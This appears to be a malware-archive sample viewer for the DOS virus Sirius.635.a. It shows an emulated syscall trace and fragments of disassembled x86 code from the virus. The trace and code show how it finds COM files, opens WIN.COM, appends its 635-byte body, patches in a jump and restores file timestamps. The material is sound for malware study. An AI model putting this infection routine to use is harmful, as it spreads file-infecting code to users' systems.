Sample viewer

vx.netlux.org/Virus.DOS.Sirius.635.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:29:48.767131043Z 53 PC: 12a79 | Get interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:29:48.768765179Z 37 PC: 12a8d | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:29:48.769859527Z 47 PC: 12a92 | Get disk transfer address
2018-12-17T22:29:48.771226519Z 26 PC: 12aa4 | Set disk transfer address
2018-12-17T22:29:48.773039277Z 25 PC: 12aa8 | Get default drive
2018-12-17T22:29:48.774895913Z 71 PC: 12ab5 | Get current directory
2018-12-17T22:29:48.777759362Z 14 PC: 12acb | Set default drive (Drive = 'C')
2018-12-17T22:29:48.778961897Z 59 PC: 12c5e | Change current directory
2018-12-17T22:29:48.785929419Z 44 PC: 12ad2 | Get time 0x12ad2: shr dl, 1
0x12ad4: shr dl, 1
0x12ad6: add dl, 0x40
0x12ad9: mov byte ptr [bp + 0x239], dl
0x12add: sub bx, bx
0x12adf: mov ah, 0x4e
0x12ae1: lea dx, word ptr [bp + 0x239]
0x12ae5: mov cx, 0x11
0x12ae8: int 0x21
0x12aea: jae 0x12b07
0x12aec: mov al, byte ptr [bp + 0x239]
0x12af0: inc al
0x12af2: cmp al, 0x5a
0x12af4: jbe 0x12af8
0x12af6: sub al, 0x1a
0x12af8: mov byte ptr [bp + 0x239], al
0x12afc: inc bh
0x12afe: cmp bh, 0x1b
0x12b01: je 0x12ab5
0x12b03: jmp 0x12adf
2018-12-17T22:29:48.787948555Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.79311868Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.798593597Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.803520189Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.80840752Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.813779059Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.818662428Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.823654883Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.829160524Z 78 PC: 12aea | Find first file
2018-12-17T22:29:48.834890952Z 59 PC: 12b0e | Change current directory
2018-12-17T22:29:48.842876892Z 78 PC: 12b19 | Find first file
2018-12-17T22:29:48.851627244Z 67 PC: 12b75 | Get or set file attributes
2018-12-17T22:29:48.8571849Z 67 PC: 12b82 | Get or set file attributes
2018-12-17T22:29:49.187855532Z 61 PC: 12b8a | Open file (Filename = 'WIN.COM')
2018-12-17T22:29:49.194959149Z 87 PC: 12b90 | Get or set file date and time
2018-12-17T22:29:49.196487993Z 44 PC: 12ba3 | Get time 0x12ba3: or dx, dx
0x12ba5: je 0x12b9f
0x12ba7: mov word ptr [bp + 0x26e], dx
0x12bab: mov ah, 0x3f
0x12bad: lea dx, word ptr [bp + 0x230]
0x12bb1: mov cx, 3
0x12bb4: int 0x21
0x12bb6: mov ax, 0x4202
0x12bb9: sub cx, cx
0x12bbb: cdq
0x12bbc: int 0x21
0x12bbe: sub ax, 3
0x12bc1: mov word ptr cs:[0xfa79], ax
0x12bc5: mov byte ptr cs:[0xfa78], 0xe9
0x12bcb: nop
0x12bcc: nop
0x12bcd: nop
0x12bce: lea si, word ptr [bp - 5]
0x12bd1: mov di, 0xfb2c
0x12bd4: mov cx, 0x27b
2018-12-17T22:29:49.198673164Z 63 PC: 12bb6 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:29:49.204521245Z 66 PC: 12bbe | Move file pointer
2018-12-17T22:29:49.206067463Z 64 PC: 12bea | Write file or device (Write 635 bytes on handle 5)
2018-12-17T22:29:49.213192292Z 66 PC: 12bf2 | Move file pointer
2018-12-17T22:29:49.215063583Z 64 PC: 12bfc | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:29:49.217769671Z 87 PC: 12c11 | Get or set file date and time
2018-12-17T22:29:49.219097909Z 62 PC: 12c15 | Close file
2018-12-17T22:29:49.22646685Z 67 PC: 12c22 | Get or set file attributes
2018-12-17T22:29:49.235759158Z 14 PC: 12c68 | Set default drive (Drive = 'A')
2018-12-17T22:29:49.236871318Z 59 PC: 12c5e | Change current directory
2018-12-17T22:29:49.241658636Z 59 PC: 12c70 | Change current directory
2018-12-17T22:29:49.243582283Z 37 PC: 12c3b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-17T22:29:49.24468321Z 26 PC: 12c4b | Set disk transfer address